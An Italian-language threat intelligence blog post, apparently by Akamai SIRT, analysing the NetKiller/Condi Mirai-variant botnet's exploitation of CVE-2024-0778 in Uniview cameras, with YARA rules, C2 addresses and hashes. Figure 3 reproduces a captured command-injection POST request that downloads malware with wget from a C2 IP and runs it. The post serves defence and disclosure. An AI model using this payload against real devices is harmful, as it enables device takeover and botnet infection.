La botnet NetKiller.Condi sfrutta la vulnerabilità CVE-2024-0778 una settimana dopo la divulgazione
Analisi riassuntiva
Una vulnerabilità è stata scoperta nel firmware della videocamera Zhejiang Uniview ISC modello 2500-S fino alla versione 20210930. Questa vulnerabilità consente agli attacchi OS Command Injection di manipolare specifici argomenti delle richieste.
La vulnerabilità, identificata con il codice CVE-2024-0778, interessa i prodotti non più supportati dal produttore poiché hanno raggiunto il termine del loro periodo di assistenza.
Il team Akamai Security Intelligence Response Team (SIRT) ha documentato una variante del malware Mirai e ha osservato un tentativo di sfruttamento della vulnerabilità che ha preso di mira i nostri honeypot.
L'autore di questi attacchi ha preso di mira anche altri URI con diversi payload a indicare che più architetture di sistema sono nel mirino.
Gli indirizzi IP C2 (Command and Control) associati agli attacchi sono vietnamiti e sono stati risolti al dominio C2 net-killer[.]online, che è stato registrato a gennaio 2024.
Il primo riferimento noto a questa attività risale al 28 giugno 2023, a indicare una minaccia prolungata e in continua evoluzione.
Una vulnerabilità critica è stata scoperta nel firmware della videocamera Zhejiang Uniview ISC modello 2500-S fino alla versione 20210930. La vulnerabilità risiede nella funzione setNatConfig, che si trova all'interno del file /Interface/DevManage/VM.php. Lo sfruttamento di questa vulnerabilità consente agli attacchi OS Command Injection di manipolare specifici argomenti delle richieste: natAddress, natPort e natServerPort.
La vulnerabilità è stata pubblicamente divulgata e pone un rischio significativo per i dispositivi esposti a Internet. La vulnerabilità è stata identificata con il codice VDB-251696. È importante notare che questa vulnerabilità interessa nello specifico i prodotti non più supportati dal produttore, che, una volta informato preventivamente, ha confermato tempestivamente che i prodotti hanno raggiunto il termine del loro periodo di assistenza.
In questo blog, descriveremo la vulnerabilità, ne discuteremo l'impatto e presenteremo gli indicatori di compromissione (IOC) che abbiamo osservato.
Documentazione di una variante del malware Mirai
L'Akamai SIRT ha documentato una sessione, che ha tentato di sfruttare la vulnerabilità da noi pubblicata su GitHub il 16 gennaio 2024. Alla vulnerabilità è stato assegnato l'ID CVE-2024-0778 il 22 gennaio e noi abbiamo osservato un criminale prendere di mira i nostri honeypot il 24 gennaio.
Al momento dell'esecuzione di uno dei campioni di malware in una sandbox (in particolare, i "most-mips"), viene stampata la stringa univoca, che mette in riferimento "lzrd" alla console e viene identificata come questa specifica variante del malware Mirai (Figura 1). Non si tratta di un fenomeno nuovo: uno dei primi riferimenti a questa stringa e a questa variante si trova in un blog sull'honeypot del 2021.
Una correlazione con Condi
Questo specifico campione di malware è richiamato al dominio C2 net-killer[.]online, che abbiamo osservato sulla nostra rete honeypot in precedenza. Alcune delle stringhe osservate nei campioni di malware, ad esempio, "CondiiNeett %s:%d", indicano una correlazione con la botnet Condi segnalata in precedenza.
Fortinet ha segnalato la botnet Condi a giugno 2023 e il codice sorgente della botnet Condi è stato pubblicato su Github tra il 17 agosto e il 12 ottobre 2023. Poiché il codice sorgente Condi è disponibile da mesi, è probabile che venga usato da altri criminali, separatamente dal malintenzionato segnalato da Fortinet.
Questo criminale, inoltre, ha preso di mira altri URI, come "/ctrlt/DeviceUpgrade_1" (CVE-2017-17215), "/soap.cgi?service=WANIPConn1" (CVE-2013-7471) e "/picsdesc.xml" (CVE-2014-8361) lo scorso mese, con il file di payload "most-mips", insieme allo stesso indirizzo IP C2, mentre la nuova CVE ha avuto una sessione con "most-arm". Per "most-x86", l'abbiamo osservato prendere di mira l'URI "/ws/v1/cluster/apps" (Hadoop YARN ResourceManager Exploit).
Da notare che questi indirizzi IP C2 hanno avuto (o hanno ancora) risoluzioni al dominio C2 net-killer[.]online. Tutte le risoluzioni degli indirizzi IP per questo dominio sono indirizzi IP vietnamiti. Il dominio è stato registrato il 10 gennaio 2024 tramite Hostinger.
La botnet NetKiller
Questa attività nei nostri honeypot è stata osservata inizialmente il 28 giugno 2023. I criminali hanno usato l'indirizzo IP C2 vietnamita 103.195.236[.]140 dalla fine di giugno 2023 almeno al 17 agosto 2023. Il codice ha scaricato un payload denominato "sora.mips", che era probabilmente la variante SORA della botnet Mirai (NetKiller.SORA). Il primo riferimento al nome file "most", ossia la variante LZRD della botnet Mirai (NetKiller.LZRD), è stato osservato il 28 luglio 2023, dallo stesso C2. Uno dei domini C2 utilizzati all'epoca da questo criminale è stato il dominio botnet.vinaddns[.]com.
Per l'infrastruttura della botnet NetKiller, abbiamo osservato varie sovrapposizioni nella risoluzione degli indirizzi IP (Figura 2). La maggior parte dell'infrastruttura era vietnamita, con i relativi domini C2 solitamente registrati come sottodomini di un host più grande costituito da migliaia di altri sottodomini. In questo caso, tutti i domini seguono una convenzione di denominazione "serve", come "serveblog", "servegame" o "servehttp". Analogamente, i loro sottodomini e i nomi file dei malware seguono una convenzione di denominazione, spesso sovrapponendo i nomi, come "killer", "botnet" o "most".
Nello snippet di codice acquisito dal nostro honeypot (Figura 3), dai contenuti della richiesta POST possiamo notare che il criminale sta tentando di sfruttare la vulnerabilità Command Injection per eseguire il codice necessario per cambiare la directory in /tmp, scaricare il file binario most-arm tramite il comando wget, impostare le autorizzazioni per l'esecuzione a livello globale e, infine, lanciare il malware e rimuovere il file binario. La prima e la seconda parte del malware scrivono il comando "id" nel file "1.php", che possono essere tracce dello sfruttamento della PoC (Proof-of-Concept) pubblicata su GitHub.
METHOD: POST
LISTENING PORT: 90
PATH: /Interface/DevManage/VM.php
REQUEST: natPort=80;echo `id` > 1.php&GAJAX_USERID=0000&GAJAX_ORGCODE=0000&GAJAX_USERNAME=admin&GAJAX_ORGTYPE=2&cmd=setNatConfig&natAddress=cd /tmp/;wget http://103.69.97.45/most-arm;chmod 777 most-arm;./most-arm exploit;rm -rf most-arm&natServerPort=;echo `id` > 1.php&GAJAX_LOGINID=21822020240105183142&GAJAX_ORGNAME=Root
Figura 3. Payload acquisito dal tentativo di sfruttamento
Conclusione
La scoperta di una vulnerabilità critica nel firmware della videocamera Zhejiang Uniview ISC, insieme alle attività dannose osservate che hanno preso di mira la vulnerabilità CVE-2024-0778 e l'infrastruttura C2 associata, sottolinea la continua minaccia posta dai criminali che sfruttano le vulnerabilità presenti nei sistemi obsoleti.
Nel complesso, la dismissione dei prodotti hardware e software ritirati che non possono essere corretti da patch è il modo consigliato per mitigare i rischi per la sicurezza e garantire la conformità ai requisiti normativi. La protezione delle risorse e dei dati di un'organizzazione richiede un accurato livello di pianificazione, esecuzione e vigilanza costante.
Un'attenzione continua, una gestione delle vulnerabilità proattiva e un'indagine accurata dell'infrastruttura associata sono essenziali per mitigare i rischi e difendere da tali minacce. Inoltre, la collaborazione tra i ricercatori e i fornitori che si occupano di sicurezza è cruciale per affrontare tempestivamente le vulnerabilità e proteggere gli utenti da potenziali episodi di sfruttamento.
IOC
Regole YARA
rule netkiller_scripts_1 {
meta:
description = "netkiller_scripts_1"
author = "Akamai SIRT"
date = "2024-02-26"
strings:
$s1 = "mostnet0510" fullword ascii
$s2 = "most" fullword ascii
$s3 = "most-ppc" fullword ascii
$s4 = "most-m68k" fullword ascii
$s5 = "most-x86" fullword ascii
$s6 = “CondiiNeett %s:%d” fullword ascii
condition:
3 of them
}
rule netkiller_scripts_2 {
meta:
description = "netkiller_scripts_2"
author = "Akamai SIRT"
date = "2024-02-26"
strings:
$s1 = "caclo" fullword ascii
$s2 = "npxXoudifFeEgGaACScs" fullword ascii
$s3 = "khong_xac_dinh" fullword ascii
$s4 = "webserv" fullword ascii
condition:
3 of them
}
rule netkiller_scripts_3 {
meta:
description = "netkiller_scripts_3"
author = "Akamai SIRT"
date = "2024-02-26"
strings:
$s1 = "babylone" fullword ascii
$s2 = "[killer] da giet" fullword ascii
$s3 = "[killer] Kh" fullword ascii
$s4 = "[killer] Failed to create child process." fullword ascii
$s5 = "ng th" fullword ascii
$s6 = " o quy tr" fullword ascii
$s7 = "nh con." fullword ascii
$8 = "/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38
/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/
xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/
x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/
x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/
xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/
x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/
x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/
x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/
x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/
xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A"
condition:
3 of them
}
Indirizzi IP C2
103[.]69[.]97[.]45
103[.]67[.]196[.]50
103[.]72[.]57[.]249
103[.]72[.]57[.]195
103[.]37[.]61[.]26
15[.]235[.]155[.]8
34[.]94[.]59[.]72
103[.]67[.]163[.]20
35[.]235[.]96[.]85
103[.]195[.]236[.]140
103[.]72[.]57[.]191
103[.]72[.]56[.]135
43[.]229[.]150[.]94
103[.]155[.]81[.]228
103[.]172[.]79[.]74
Nomi di dominio C2
net-killer[.]online
mostnet[.]servegame[.]com
net-killer[.]servehttp[.]com
botnet[.]serveblog[.]net
botnet[.]vinaddns[.]com
botnet1[.]vinaddns[.]com
Hash SHA256
62e9e4032bbfdc8ff27ba1386884adf59d34c8bf42424e4fd80d836d2b40c7db
E4970af58d4ef7f23d7b6813203cf980f9aa1d507953d87978810d0de339779a
646ed28bb9b2efe839a095ea0cf8b3a2c6acf2f4edabd5a743154f6ff432ab7b
D00b4c81059c295b924fa43778d06659b01f074e4099147c596d9b1a2789e329
75b20eec15cc9f64b5dbd884f9296e8a2ae2bec728dbe8886584f13e8d13d596
E4970af58d4ef7f23d7b6813203cf980f9aa1d507953d87978810d0de339779a
6704f73d8e51c259f74fdadc9d3782e60d279cf2619a83e75786d29f59810f91
13014707a5338954138b6b83fd04080407e3088ef6bcf3307d0cc1cdf44c21c0
b4512382738144e5e0a411d8d47d2496a73675a54b8ee8468ab7975011c2305b
5692541960ec2360ec431679d33aee79836572adc3a8b2e39f81402ec980dd58
8f8c68165c5853e9ce33f76d37d77db7112d713d0374d1e5ad6e0f0ac343cb1b
cfce0b57fa30be5297768f9dd1dcb2a5930b3a440b95ad407b3055405ad0ddd5